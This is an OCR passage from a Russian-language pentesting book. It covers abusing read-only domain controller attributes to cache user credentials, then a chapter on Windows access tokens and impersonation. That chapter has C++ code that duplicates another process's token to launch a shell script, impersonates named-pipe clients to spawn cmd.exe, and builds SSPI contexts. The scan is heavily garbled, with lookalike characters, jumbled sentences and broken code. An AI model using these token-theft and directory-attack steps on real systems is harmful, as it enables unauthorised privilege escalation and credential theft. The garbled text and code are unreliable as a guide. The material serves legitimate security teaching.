,OU=Peop 1 е, OC=cr·i nge, ОС= 1 аЬ, СN=Адuинистратор ,CN=Us ers, OC=cr; nge, ОС= 1 аЬ} RODC computer dc 7 cce21-dlf 2-4 cSl-83 е8-Ь0650915 41 Se RODC$ SID S-1-5-21-25 31206019-2546345469-2015 7224 2-4202 UserPri nci palNarne Рис. 3.23. Очистка атрибутов
Глава 3. Пентестим 53 Read-only Domain Controllers А в атрибут msDS-RevealOnDemandGroup, наоборот, добавляем пользователей: Set-DomainObject -Identity RODC$ -Set @{ 'msDS-RevealOnDemandGroup'=@('CN=RAМONA_TURNER, OU=Test,OU=BDE,OU=Tier l,DC=cringe,DC=lab', 'CN=RAМON_STEWART,OU=ESM,OU=Stage, DC=criпge,DC=lab', 'CN=RANDELL_COLON,OlJ=TST,OU=Tier 2,DC=crшge,DC=lab')) Далее придется некоторое время подождать, пока не пройдет успешная синхрони­ зация RODC с обычным контроллером домена и получение учетных данных поль­ зователей, указанных в msDS-RevealOnDemandGroup. Для этого мониторьте содержимое атрибута msDS-RevealedList: в нем хранится список объектов, учетные данные кото­ рых успешно закешировались на RODC. Команды смотри в разделе «Поиск». Заключение RODC пользуется популярностью у системных администраторов. Да, этот инстру­ мент удобен, но мало кто знает, что он создает новые векторы для атак. Самые час­ тые мисконфиги: 1. Кеширование RODC RevealOnDemandGroup RODC, 2. RODC большого числа учетных данных, например когда в указывают группу Authenticated Users. msos- Компрометируется и мы получаем доступ к этим данным. администрируются группой RODC Admins, которая чаще всего не защищена должным образом. Соответственно, атакующий пробивается в эту группу, идет на 3. RODC, Пароль а далее смотри пункт DSRM 1. на обычном контроллере домена и на контроллере домена RODC одинаковый. Иными словами, RODC нельзя считать панацеей, но при грамотном администриро­ вании множество распространенных ошибок получится сгладить либо исправить.

ЧАСТЬ 11 Системное программирование для хакеров Глава 4. Изучаем возможности Глава 5. Получаем билеты Глава 6. Управляем привилегиями в Глава 7. Поставщик небезопасности. Как Windows WinAPI TGT для пентестера методом GIUDA Windows раскрывает пароль пользователя Глава 8. Долой Глава 9. Как дам пить тикеты Глава 10. Как злоупотреблять хендлами в Глава 11. Достаем учетные данные Глава 12. Ищем способы обращения к нативному коду из С# Глава 13. Как работает угон пользовательских сессий в Глава 14. Используем Глава 15. Исследуем обход Глава 16. Как работает кража сессии через механизм СОМ Mimikatz! Инжектим тикеты своими руками Kerberos Named Pipes UAC на С++ Windows Windows, не трогая при атаке на на примере LSASS Windows Windows Elevation Moniker

4 ГЛАВА Изучаем возможности WinAPI для пентестера Система безопасности рых Windows состоит из многих инструментов, один из кото­ токены аутентификации. В этой главе мы научимся работать с токенами и - привилегиями и проводить имперсонацию пользователей Для начала давайте запомним несколько терминов Контекст пользователя он (user context), же - Windows. скоро они нам пригодятся. контекст безопасности (security набор уникальных отличительных признаков пользователя, служащий context) - для контроля доступа. Система хранит сведения о контексте в токене (его также называют маркером доступа). Рассмотрим их чуть более подробно. SID и токены При входе в систему любой пользователь вводит свой лоrин и пароль. Затем, если подключена доменная учетная запись, эти данные сверяются ных записей Active Directory с хранилищем учет­ на контроллере домена, которое называется ntds. di t, либо с базой данных локального компьютера - SАМ. Если пароль верный, система начинает собирать сведения об учетной записи. В случае Active Directory также собирается информация уровня домена (например, доменные группы). И независимо от типа УЗ находятся сведения, относящиеся к локальной системе, в том числе перечень локальных групп, в которых состоит пош,:;ователь. Все эти данные помещаются в специальную структуру, хранящуюся в объекте ядра, который называется токеном доступа. В системах Windows у многих объектов - группы, домена, пользователя ствует специальный идентификатор безопасности, ет вот такой формат (рис. SID (Security Identifier). - суще­ Он име­ 4.1 ): S-R-1-S-S В этой записи: □ s означает, что последовательность чисел представляет собой идентификатор безопасности;
Часть 58 11. Системное программирование для хакеров ;·г2-ТТ~в••t:~~~ЗЗЗО6820т SI.D Strtng Revlaion А~ Рис. 4.1. Как выглядит SID □ R- номер версии □ число, представляющее уполномоченный орган r- или выдал □ s- SID; (authority), который создал SID; число, представляющее второй уполномоченный орган содержит внутри себя (subauthority). Также дополнительный идентифика­ RID (Relative Identifier) - тор, который используется, чтобы отличить одного пользователя от другого; □ s- еще один уполномоченный орган. SID может содержать внутри себя любое количество уполномоченных органов. При этом существуют и некоторые стандартные тации Microsoft SID. Они перечислены в докумен­ (https:/Лearn.microsoft.com/en-us/openspecs/windows_protocols/ ms-dtyp/81d92bba-d22b-4a8c-908a-554aЫ9148ab). ваются хорошо известными Такие идентификаторы назы­ (well known). Токен же хранит внутри себя множество различных SID, среди которых можно выделить основные: □ SID пользователя - идентифицирует учетную запись, для которой был создан токен; □ SID групп - идентификаторы групп, в которые входит пользователь; □ SID регистрации - уникальный SID, созданный в момент аутентификации. nо­ зволяет отличить один сеанс от другого (если пользователь несколько раз захо­ дил в систему, то система каждый раз создает уникальный SID регистрации). Достаточно сложно, правда ведь? Но можно провести простую аналогию. Токен карточка сотрудника компании. группы - SID пользователя - имя на этой карточке, SID напечатанная должность. Система смотрит на эту карточку каждый раз, когда мы начинаем с ней взаимодействовать. Токен и процесс В Windows есть процессы, а есть потоки. Говоря простыми словами, это некие объ­ екты, обладающие собственным виртуальным адресным пространством. Потоком называют ход вь11юлнения программы. Поток выполняется в рамках владеющего им процесса, или. как говорят, в контексте процесса. Любое запущенное прило­ жение представляет собой процесс, в контексте которого выполняется по крайней мере один поток.
Глава 4. Изучаем возможности WinAPI для пентестера 59 У процесса есть токен. Чаще всего используется токен пользователя, запустившего процесс. Когда процесс порождает другие процессы, все они используют этот же токен (рис. v • 4.2). 1 3868 4116 3384 9840 8924 S128 firefox.exe • firefox.exe • firefox.exe • firefox.exe • firefox.exe 8 firefox.exe Рис. 0,05 4.2. Дочерние 263,SS МВ 492, 1 МВ 20,5 МВ 42,8 МВ 96,26 МВ 215,41 МВ WHOAMI\Michael WHOAMI\Michael WHOAMI\Mictlael WHOAMI\Mictlael WHOAMI\Mictlael WHOAMI\Mictlael Firefox Firefox Firefox Firefox Firefox Firefox процессы имеют тот же токен Если нам требуется выполнить одну задачу с токеном одного пользователя, а дру­ гую - с токеном другого пользователя, запускать новый процесс как-то не очень удобно. Поэтому токен можно применить и к определенному потоку процесса. Приступаем к работе Получаем токен Существует несколько функций для получения токена. Для работы с процессами и потоками можно использовать следующие варианты. Вариант 1: получить токен определенного процесса. OpenProcessToken( [in] НANDLE ProcessHandle, [in] DWORD DesiredAccess, [out] PНANDLE TokenНandle В001 ); Вариант 2: получить токен определенного потока. OpenThreadToken( [in] НANDLE ThreadНandle, [in] DWORD DesiredAccess, [in] В001 OpenAsSelf, [out] PНANDLE TokenHandle В001 ); Переписывать MSDN и объяснять каждый параметр как-то неправильно. Предла­ гаю обратить внимание лишь на второй параметр - DesiredAccess. Здесь вы должны указать, какой тип доступа к токену хотите получить. Это значе­ ние преобразуется в маску доступа, на основе которой Windows определяет, можно WinAPI предоставляет для такой маски некоторые стандартные значения (https://learn.microsoft.com/en-us/windows/win32/secauthz/ access-rights-for-access-token-o Ьjects). выдавать токен или нельзя. Обратите внимание, что просто так засунуть TOKEN_ALL_ACCESS нельзя: система ба­ нально не выдаст токен, т. к. в эту маску входит и TOКEN_ADJUST_SESSIONID, который
Часть 60 11. Системное программирование для хакеров требует наличия привилегии SeTcbPrivilege. Такой привилегией обладает лишь сис­ тема. При этом данную ошибку допускают очень часто. Например, лишь в версии струмента Cobalt Strike lOth-anniversary-edition/) 4. 7 ин­ (https://www.cobaltstrike.com/Ыog/cobalt-strike-4- 7-the- был исправлен этот недочет. Чаще всего для наших задач мы будем указывать привилегию TOКEN_DUPLICATE, чтобы использовать функцию DuplicateTokenEx 1), которую мы разберем позже. Вариант 3: запросить токен пользователя, если мы знаем его лоrин и пароль. LogonUserA( [in] [in, optional] [in, optional] [in] [in] [out] В001 LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PНANDLE phToken ); Проверка наличия привилегии в токене Токен также содержит информацию о привилегиях пользователя. У самих привиле­ гий в Windows есть два представления: □ дружественное имя пример имя, которое отображается в интерфейсе Windows, на- Act as part of the operating system; □ программное имя - имя, которое используют приложения, например SE _тсв _NАМЕ. Для проверки можно использовать следующую функцию: PrivilegeCheck( [in] ClientToken, НANDLE [in, out] PPRIVILEGE_SET RequiredPrivileges, [out] LPBOOL pfResult В001 ); Сам код может быть примерно следующий (принимает токен, в котором надо про­ верить наличие привилегии, и ее имя. Допустим, SE_DEBUG_NAМE): bool IsPrivilegeEnaЫed(НANDLE hToken, PCWSTR пате) ( PRIVILEGE SET set(); set.PrivilegeCount = l; if ( 1 : :LookupPrivilegeValue(nullptr, пате, &set.Privilege[0] .Luid)) В001 result; return : :PrivilegeCheck(hToke~, &set, &result) && result; return false;
Глава 4. Изучаем возможности WinAPI для пентестера 61 Изменение информации токена Допустимые изменения делятся на две группы (рис. 4.3): □ сведения, которые можно изменить; □ сведения, которые можно задать. Для большинства ситуаций можно воспользоваться этой функцией: В001 SetTokenlnfoпnation( [in) НANDLE [in] TOКEN_INFORМATION_CLASS [in] LPVOID [in] DWORD TokenНandle, TokenlnfoпnationClass, Tokenlnfoпnation, TokenlnfoпnationLength ); Конечно же, в токене возможно изменить далеко не все параметры. Ниже описаны допустимые классы информации для setTokeninfoпnation (), а также привилегии и маски доступа, которые для этого требуются. TOКEN_INFORМATIOII_CLASS Access mask required TokenOwner TOКEN_ADJUST_DEFAULT TokenPrimaryGroup TOКEN_ADJUST_DEFAULT TokenDefaultDacl TOКEN_ADJUST_DEFAULT TokenSessionid TOКEN_ADJUST_SESSIDNID Privilege required TokenVirtualizationAllowed TokenVirtualizationEnaЫed SeTcЬPrivilege SeCreateTokenPrivilege TOКEN_ADJUST_DEFAULT TokenOrigin SeTcЬPrivilege TokenмandatoryPolicy SeCreateTokenPrivilege Рис. 4.3. Что можно изменить Например, чтобы включить виртуализацию UAC, используйте следующий код: // hProcess имеет PROCESS_QUERY_INFORМATION hToken; OpenProcessToken(hProcess, TOКEN_ADJUST_DEFAULT, &hToken); ULONG еnаЫе = 1; НANDLE SetTokenlnfoпnation(hToken, TokenVirtualizationEnaЫed,&enaЫe, sizeof(enaЫe)); При этом мы можем изменить и привилегии, содержащиеся в токене! Но требуется знать, как получить из программного имени привилегии ее сделать следующая функция: LookupPrivilegeValueA( [in, optional] LPCSTR lpSystemName, [in] LPCSTR lpName, [out] PLUID lpLuid В001 ); LUID. Это позволяет
Часть 62 Следующим шагом мы должны вызвать AdjustTokenPrivileges( НANDLE [in] [in] В001 [in, 6ptional] PTOKEN PRIVILEGES [in] DWORD [out, optional] PTOKEN PRIVILEGES [out, optional] PDWORD 11. Системное программирование для хакеров AdjustTokenPri vilege (1: В001 TokenHandle, DisaЬleAllPrivileges, NewState, BufferLength, PreviousState, ReturnLength 1; Эта функция может как включить привилегии, так и отключить их. Не знаю, поче­ му Microsoft не реализовала что-нибудь подобное: В001 EnaЬleTokenPrivilege(НANDLE hToken, LPTSTR szPriv, В001 bEnaЬled) TOKEN_PRIVILEGES tp; LlJID luid; В001 bRet = FALSE; try { // Ищем уникальный для системы LlJID привилегии if ( !LookupPrivilegeValue(NlJLL, szPriv /*SE DEBOG_NAМE*/, &luid)) { // Если имя фиктивное leave; // Создаем массив привилегий нашего маркера (в данном tp.PrivilegeCount = 1; tp.Privileges[O] .Luid = luid; tp.Privileges[O] .Attributes = bEnaЬled? SE PRIVILEGE // Изменяем состояние привилегий маркера, случае массив из одного элемента) ENAВLED О; включая или отключая привилегии из нашего массива if (!AdjustTokenPrivileges(hToken, FALSE, &tp, leave; sizeof(TOКEN_PRIVILEGES), NlJLL, NULL)) bRet = TROE; finally {}; return(bRet); Этой функции требуется передать токен, программное имя привилегии и булево значение, TROE или FALSE, т. е. включить привилегию или выключить ее. При этом _ _PRIVILEGES. токен должен иметь маску токЕN ADJusт
Глава 4. Изучаем возможности WinAPI для пентестера 63 Выполнение кода с использованием токена Чаще всего процесс использования полученного токена начинается с вызова функ­ ции DuplicateTokenEx () : В001 DuplicateTokenEx( [in] НANDLE hExistingToken, [in] DW0RD dwDesirec!Access, [in, optional] LPSECURITY ATTRIBUTES lpTokenAttributes, [ in] SECURITY_ IMPERS0NATI0N_LEVEL IrnpersonationLevel, [in] ТОКЕN ТУРЕ TokenType, [out] PНANDLE phNewТoken ); Она просто создает новый токен, который дублирует ранее полученный. При этом мы должны передавать токен, который был запрошен с маской ТОКЕN_DUPLICATE. В dwDesirec!Access вы должны указать новую маску доступа. Допускается использо­ вать предопределенные значения из документации Microsoft (https://learn. microsoft.com/en-us/windows/win32/secautlw'access-rights-for-access-token-objects). И вновь может возникнуть путаница с ImpersonationLevel. Это действительно уровень имперсонации, т. е. он определяет, насколько токен может олицетворять объект. Существуют следующие варианты: □ securityAnonymous - токен с таким уровнем перевоплощения не может быть ис­ пользован для создания процесса, заимствующего права. Анонимный уровень поддерживается только для межпроцессного взаимодействия (например, для именованных каналов). Все остальные способы просто повышают его до Securityidentification; □ Securityidentification - может быть использован для идентификации (можно бу­ дет узнать пользователя и группу, ACL нять для имперсонации или в вызовах пользователя), но НЕЛЬЗЯ будет приме­ CreateProcessAsUser (), CreateProcessWi thTokenW () и подобных; □ Securityimpersonation - полнофункциональный маркер, с помощью которого можно олицетворять кого-либо в локальной системе, но нельзя олицетворять в удаленных системах; □ securityDelegation - маркер может олицетворять клиента в удаленных системах. Самый мощный уровень. Создание процесса Следующим шагом идет вызов CreateProcessWi thTokenW (). Эта функция создает про­ цесс, а затем привязывает к нему указанный токен: В001 CreateProcessWithTokenW( [in] НANDLE hToken, [in] DW0RD dwLogonFlags, [in, optional] LPCWSTR lpApplicationName,
Часть 64 [in, out, optional] [in] [in, optional] [in, optional] [in] [out] LPWSTR DWOP.D LPVOID LPCWSTR LPSTARTUPINFOW LPPROCESS INFORМATION 11. Системное программирование для хакеров lpCoппnandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupinfo, lpProcessinfonnation ); Единственный минус - у вас должна быть привилегия SeimpersonatePrivilege, в про­ тивном случае вызов обернется ошибкой. Однажды, когда мне требовалось повы­ сить права в системе и имелась учетная запись с этой привилегией, я нашел сле­ дующий код: #include <windows.h> #include <iostream> int rnain(int argc, char * argv[]) ( char а; НANDLE processHandle; НANDLE tokenНandle = NULL; НANDLE duplicateTokenHandle = NULL; STARTUPINFO startuplnfo; PROCESS_INFORМATION processlnforrnation; DWORD PID ТО IMPERSONATE = 3060; wchar t cmdline[] = L"C:\\shell.cmd"; ZeroMemory(&startuplnfo, sizeof(STARTUPINFO)); ZeroMemory(&processinfonnation, sizeof(PROCESS startuplnfo.cb = sizeof(STARTUPINFO); INFORМATION) ); processHandle = OpenProcess(PROCESS_ALL_ACCESS, true, PID_TO_IMPERSONATE); OpenProcessToken(processHandle, TOКEN_ALL_ACCESS, &tokenНandle); DuplicateTokenEx(tokenНandle, TOКEN_ALL_ACCESS, NULL, Securitylmpersonation, TokenPrimary, &duplicateTokenНandle); CreateProcessWithTokenW(duplicateTokenНandle, LOGON_WITH_PROFILE, NULL, cmdline, О, NULC, NULL, &startuplnfo, &processlnforrnation); std::cin » а; // CloseHandle() return опустил О; Сможете догадаться, почему он не заработал? Ошибка такая же, как и у Cobalt Strike. Для успешной эксплуатации достаточно запросить маску ТОКЕN _ASSIGN _PRIМARY 1 ТОКЕN DUPLICAТE I ТОКЕN _QUERY в вызове OpenProcessToken ().
Глава 4. Изучаем возможности WinAPI для пентестера 65 Применение к потоку Можно привязать токен и к определенному потоку процесса. Для этого существует следующая функция: SetThreadToken( [in, optional] PНANDLE Thread, [in, optional] НANDLE Token ВООL ); Например: НANDLE hProcТoken; OpenProcessToken(GetCurrentProcess(), ТOКEN_DUPLICATE, &hProcToken); НANDLE hlrnpToken; DuplicateTokenEx(hProcToken, МAXIMUМ_ALLOWED, nullptr,Securityldentification, Tokenlrnpersonation, &hlrnpToken) ; CloseHandle(hProcToken); SetThreadToken(nullptr, hlrnpToken); // Делаем что-нибудь RevertToSelf () ; CloseHandle(hlmpToken); Если мы знаем учетные данные пользователя, то можно получить его токен и ра­ ботать с ним вот так: НANDLE hToken; LogonUser(L"alice", L".", L"alicesecretpassword", LOGON32 LOGON ВАТСН, LOGON32_PROVIDER_DEFAULT, &hToken); // Получаем токен пользователя IrnpersonateLoggedOnUser(hToken); // ВЬII1олняем задачи от лица пользователя alice RevertToSelf(); // Возвращаем исходный контекст CloseHandle(hToken) Заимствование прав подключенного пользователя Без установления соединения Для заимствования прав подключенного пользователя может служить функция ImpersonateLoggedOnUser (), которую мы уже рассмотрели, либо ImpersonateSelf (): ImpersonateSelf( [in] SECURITY_IMPERSONATION_LEVEL IrnpersonationLevel В001 ); Она продублирует токен нашего процесса, создаст новый с указанным типом имперсонации и свяжет его с вызывающим потоком.
Часть бб 11. Системное программирование для хакеров Именованные каналы Существует возможность имперсонации клиента пайпа: ImpersonateNamedPipeClient( [in] НANDLE hNamedPipe ВOO1 ); Но обратите внимание, что для вызова этой функции потребуется привилегия SeimpersonatePrivilege. Также мы получим токен с уровнем имперсонации, меньшим, чем Securityimpersonation, например Securityidentification или SecurityAnonymous, поэтому необходимо будет вызвать DuplicateTokenEx (). #include <Windows.h> #include <iostream> int main() { LPCWSTR pipeName = L"\\\\.\\pipe\\pipename"; LPVOID pipeBuffer = NULL; НANDLE serverPipe; DWORD readBytes = О; DWORD readBuffer = О; int err = О; ВOO1 isPipeConnected; ВOO1 isPipeOpen; DWORD bytesWritten = О; std: :wcout « "Creating named pipe " « pipeName « std: :endl; serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, О, NULL); isPipeConnected = ConnectNamedPipe(serverPipe, NULL); if (isPipeConnected) { std: :wcout « "Incoming connection to " « pipeName « std: :endl; std: :wcout « "Impersonating the client ... " « std: :endl; ImpersonateNamedPipeClient(serverPipe); err = GetLastError(); STARTUPINFO si = {); wchar_t command[] = L"C:\\Windows\\system32\\cmd.exe"; PROCESS_INFORМATION pi = {); НANDLE threadToken = GetCurrentThreadToken(); CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); return О;
Глава 4. Изучаем возможности WinAPI для пентестера 67 Сокеты или другой механизм взаимодействия Если нам требуется провести имперсонацию клиента, с которым мы взаимодейст­ SSP (Security Support Prodiver). Самые популярные Windows - NTLMSSP и Kerberos. Для программиро­ вания с SSP используется SSPI (Security Support Provider Interface). Он создает так пакеты данных, которые передаются клиен­ называемые блобы (security ЫоЬs) - вуем, то можно использовать средства из этой категории в том серверу и в обратном направлении. SSP позволяет нам выстроить контекст. С помощью выстроенного контекста мы сможем получить токен. Начало работы Сначала следует перечислить все доступные для текущего хоста SSP. Это можно сделать с помощью следующей функции: SECURITY_STATUS SEC_ENTRY EnumerateSecurityPackagesA( [in] unsigned long *pcPackages, [in) PSecPkginfoA *ppPackagelnfo 1; Например: #define SECURITY WIN32 #include <windows.h> #include <stdio.h> #include <sspi.h> #pragma cornrnent (lib, "Secur32. lib") шt main() { ULONG pcPackages = О; SecPkginfo* secPkginfo = NULL; SECURITY STATUS status; status = EnumerateSecurityPackages(&pcPackages, &secPkginfo); if (status != SEC_E_OK) ( wprintf(L"Security function failed with error: %i\n",status); for (ULONG i = О; i < pcPackages; i++) { wprintf (L"%ws\n", secPkglnfo [i]. Name); return О; В pcPackages содержится количество протоколов защиты, которые были получены, а ppPackageinfo будет содержать подробную информацию. Он является экземпляром структуры secPkginfo, при этом сама структура выглядит вот так:
Часть 68 11. Системное программирование для хакеров typedef struct _SecPkginfoA { unsigned long fCapaЬilities; unsigned short wVersion; unsigned short wRPCID; unsigned long сЬМахТоkеn; SEC СНАR *Name; // Название SEC СНАR *Coппnent; SecPkglnfoA, *PSecPkglnfoA; Далее требуется получить собственные реквизиты для SSP и определиться с прото­ колом защиты. В этом поможет следующая функция: SECURITY_STATUS SEC_Entry AcquireCredentialsHandle( In SEC СНАR *pszPrincipal, *pszPackage, In SEC СНАR fCredentialUse, In ULONG In PLUID pvLogonID, In PVOID pAuthData, In SEC GET КEY_FN pGetKeyFn, In PVOID pvGetKeyArgument, Out PCredНandle phCredential, _Out_ PТimeStarnp ptsExpiry ); Например: #define SECURITY WIN32 #include <windows.h> #include <stdio.h> #include <sspi.h> #pragma comment (lib, "Secur32.lib") int main() { ULONG pcPackages = О; SecPkglnfo* secPkglnfo = NULL; SECURITY STATUS status; status = EnumerateSecurityPackages(&pcPackages, &secPkginfo); if (status != SEC_E_OK) { wprintf(L"Security function failed with error: %i\n",status); for (ULONG i = О; i < pcPackages; i++) { wprintf(L"%d - %ws\n", i,secPkginfo[i] .Name); printf("Which would u like? "); int numЬerOfSSP = О; scanf_s("%d", &numЬerOfSSP);
Глава 4. Изучаем возможности WinAPI для пентестера 69 CredНandle hCredentials; TimeStamp tsExpires; status = Acqui'reCredentialsHandle (NULL, secPkglnfo [nшnЬerOfSSP] . Name, SECPKG_CRED_ВОТН, NULL, NULL, NULL, NULL, &hCredentials, &tsExpires); if (status != SEC_E_OK) wprintf(L"ERROR"); else { wprintf(L"SUCCESS, lets authenticate!"); // Код для аутентификации return О; В pszPrincipal указывайте имя объекта, для которого мы получаем реквизиты. NULL будет означать, что нам требуются реквизиты для токена текущего потока. В pszPackage мы прописываем протокол защиты} который будем использовать. Мож­ но указать параметр Name из структуры SecPkginfo ( см. функцию выше). Либо воз­ можны следующие варианты: □ SChannel - компонент UNISP_NАМЕ для □ Negotiate - SSL; компонент NEGOSSP_NАМЕ для Negotiate (используется самый подходя­ щий в текущей ситуации протокол (или NТLM, или выбор, описано в документации Kerberos, как происходит (https://docs.microsoft.com/en-us/windows/win32/ secauthn/microsoft-negotiate)); □ NТLM □ - Kerberos - компонент NTLМSP_NАМЕ для NТLM; компонент MICROSOFГ _КERВEROS _NАМЕ для Kerberos. Роль клиента В процессе аутентификации клиент и сервер ведут себя по-разному, поэтому нач­ нем с разбора того, что делает клиент. Первым делом клиент инициирует исходящий контекст безопасности из дескрип­ тора учетных данных, полученных в результате вызова функции AcquirecredentialsHandle (). Обычно эта функция вызывается в цикле до тех пор, пока не будет установлен достаточный контекст безопасности. SECURITY_STATUS SEC_ENTRY InitializeSecurityContextA( phCredential, [in, optional] PCredНandle [in, optional] PCtxtHandle phContext, *pszTargetName, SEC СНАR tinsigned long fContextReq, [in] [in] unsigned long Reservedl, unsigned long TargetDataRep, [in] [in, optional] PSecBufferDesc plnput, unsigned long Reserved2, [in] [in, out, optional] PCtxtHandle phNeWContext,
Часть 70 11. Системное программирование для хакеров [in, out, optional] PSecBufferDesc pOutput, [out] unsigned long *pfContextAttr, [out, optional] PTimeStamp ptsExpiry 1; Процесс последовательных вызовов указанной функции имеет следующие особен­ ности: □ параметр phContext должен указывать на переменную, которая содержит хендл контекста, полученный через параметр phNewContext; □ при последовательных обращениях к этой функции игнорируется параметр pszTargetName; □ мы будем передавать функции InitializeSecurityContext(I блобы, полученные от сервера параметром □ требования к pinput; контексту со стороны сервера возвращаются параметром pfContextAttr, и их надо проверять, чтобы они не противоречили потребностям клиента. Последовательность вызовов стоит выполнять, анализируя возвращаемое значение функции. Если она вернула SEC_r_CONTINUE _NEEDED, то клиент вновь должен ее вызвать. Возврат SEC_Е_ок означает, что контекст удачно построен. При этом данная функция не вернет управление до тех пор, пока сервер, к которо­ му коннектятся, не вызовет AcceptSecuri tycontext (1. Для работы с блобами используются входные и выходные буферы. При их исполь­ зовании требуется создать массив переменных secвuffer, которые должны указывать на выделенные нами буферы памяти. Затем мы присваиваем адрес этого массива экземпляру типа secBufferDesc. Он указывает, сколько буферов содержится в мас­ сиве. typedef struct SecBufferDesc { unsigned long ulVersion; // Здесь unsigned long cBuffers; PSecBuffer pBuffers; SecBufferDesc, *PSecBufferDesc; typedef struct _SecBuffer ( unsigned long cbBuffer; // unsigned long BufferType; void SEC_FAR *pvBuffer; SecBuffer, *PSecBuffer; Чтобы система сама указываем SECBUFFER_VERSION Размер блока памяти, выделила место на который указывает под эти буферы, pvBuffer в вызове функции Ini tializeSecuri tycontext 11 в параметре fContextReq требуется указать ISC_REQ_ALLOCATE_ MEMORY. Наконец, итоговая функция на клиенте будет выглядеть следующим образом: В001 ClientHandshakeAuth(CredНandle* phContext, PTSTR pszServer) ( phCredentials, PULONG plAttrЬibutes, CtxtHandle*
Глава 4. Изучаем возможности WinAPI 71 для пентестера В001 fSuccess = FALSE; _try { SECURITY STATUS ss; // Объявляем входной и выходной буфер SecBuffer secBufferOut[l); SecBufferDesc secBufDescriptorOut; SecBuffer secBufferin[l); SecBufferDesc secBufferDescriptorin; // Устанавливаем информацию о состоянии цикла fFirstPass = TRUE; ss = SEC- I - CONTINUE NEEDED; while (ss == SEC I CONTINUE_NEEDED) // Указатель на входной блоб РВУТЕ pbData = NULL; if (fFirstPass) { // Первый проход, входных буферов еще secBufferDescriptorin.cBuffers = О; secBufferDescriptorin.pBuffers = NULL; secBufferDescriptorin.ulVersion = SECBUFFER VERSION; В001 - else { // Последовательные nроходы // Получение размера блоба ULONG lSize = О; ULONG lTempSize = sizeof(lSize); ReceiveData(&lSize, &lTempSize); // Узнаем размер pbData = (PBYTE)malloc(lSize); ReceiveData(pbData, &lSize); // Получаем блоб нет данных // Входной буфер указывает на блоб secBufferin[O) .BufferType = SECBUFFER_TOKEN; secBufferin[O] .cbBuffer = lSize; secBufferin[O] .pvBuffer = pbData; // Входной BufDesc указывает на входной буфер secBufferDescriptorin.cBuffers = 1; secBufferDescriptorin.pBuffers = secBufferin; secBufferDescriptorin.ulVersion = SECBUFFER_VERSION; ) // Устанавливаем вь~одной буфер (SSPI выделит память secBufferOut[O] .BufferType = SECBUFFER_TOКEN; secBufferOut(O] .cbBuffer = О; secBufferOut(O] .pvBuffer = NULL; // Выходной BufDesc указывает на выходной буфер secBufDescriptorOut.cBuffers = 1; secBufDescriptorOut.pBuffers = secBufferOut; secBufDescriptorOut.ulVersion = SECBUFFER VERSION; для него)
Часть 72 11. Системное программирование для хакеров ss = InitializeSecurityContext(phCredentials, fFirstPass ? NULL : phContext, pszServer, *plAttrbibutes I ISC_REQ_ALLOCATE_MEМORY, О, SECURITY_NEТWORК_DREP, &secBufferDescriptorin, О, phContext, &secBufDescriptorOut, plAttrbibutes, NULL); // Первый проход больше fFirstPass = FALSE; не делаем // Если блоб был выходным, то посылаем его if (secBufferOut[0] .cbBuffer != О) ( // Связь с сервером, посылаем размер блоба SendData(&secBufferOut[0] .cbBuffer, sizeof(ULONG) ); // Посылаем сам блоб SendData(&secBufferOut[0] .pvBuffer, secBufferOut[0] .cbBuffer); // Освобождаем выходной буфер FreeContextBuffer(secBufferOut[0] .pvBuffer); ) //Работав цикле, пока ss не станет if (ss 1= SEC_E_OK) ( // Окончательный leave; равно SEC_I_CONTINUE NEEDED результат fSuccess = TRUE; finally ( // При сбое освобождаем хендл контекста if ( ! fSuccess) ( ZeroMemory(phContext, sizeof(*phContext)); return (fSuccess); // Соответственно, if ( 1 ClientнandshakeAuth(&hCredentials, // вызов выглядит вот так &lAttributes, &hContext, L"jcompl23") )) ( Ошибка else ( // Мы аутентифицированы DeleteSecurityContext(&hContext); FreeCredentialsHandle(&hCredentials); Спешу заметить, что мы используем здесь функции sendData () и RecvData (). Это мо­ жет быть любая функция для взаимодействия, хоть сокеты WSA с их wsaRecv (), WSASend (), хоть ReadFile (), WriteFile (). SSP независим от способа передачи данных, контекст можно выстроить хоть на голубях.
Глава 4. Изучаем возможности WinAPI для пентестера 73 Роль сервера После того как на клиенте будет запущена функция InitializeSecurityContext (), она не будет возвращать управление до тех пор, пока сервер не запустит свою функцию AcceptSecurityContext(): KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY AcceptSecurityContext( phCredential, PCredНandle [in, optional] phContext, PCtxtHandle [in, optional] [in, optional] PSecBufferDesc pinput, unsigned long fContextReq, [in] unsigned long TargetDataRep, [in] phNewContext, [in, out, optional] PCtxtHandle [in, out, optional] PSecBufferDesc pOutput, [out] unsigned long *pfContextAt tr, ptsExpiry PTimeStamp [out, optional] ); Здесь используются все те же параметры, что и в Ini tializeSecuri tyContext (), кроме двух зарезервированных и имени сервера. Понятно, что в рассматриваемом случае последнее не нужно, т. к. эта функция запускается на самом сервере. Роль такая же - функция должна запускаться в цикле до тех пор, пока не вернет SEC_Е _ок. У нее есть два отличия: □ при первом обращении к этой функции у нас уже есть первый блоб, полученный от клиента, поэтому мы всегда имеем дело с входным буфером (в отличие от InitializeSecurityContext(), где при первом вызове ничего с входным буфером не делается); □ в данной функции действуют все те же требования к контексту, что и у InitializeSecurityContext (), они указаны в документации Microsoft (https://docs. microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-acceptsecuritycontext). Вроде бы все одинаковое, но полученный от этой функции контекст обладает большими возможностями, чем результат, полученный от Ini tializeSecuri tyContext (). Этот контекст мы сможем использовать для имперсонации клиента. Пример построения контекста на сервере также достаточно прост: В001 ServerHandshakeAuth(CredНandle* phCredentials, PULONG plAttrbibutes, CtxtHandle* phContext) { В001 fSuccess = FALSE; _try { SECURITY STATUS ss; // Объявляем входной и выходной буфер SecBuffer secBufferOut[l]; SecBufferDesc secBufDescriptorOut; SecBuffer secBufferin[l]; SecBufferDesc secBufferDescriptorin;
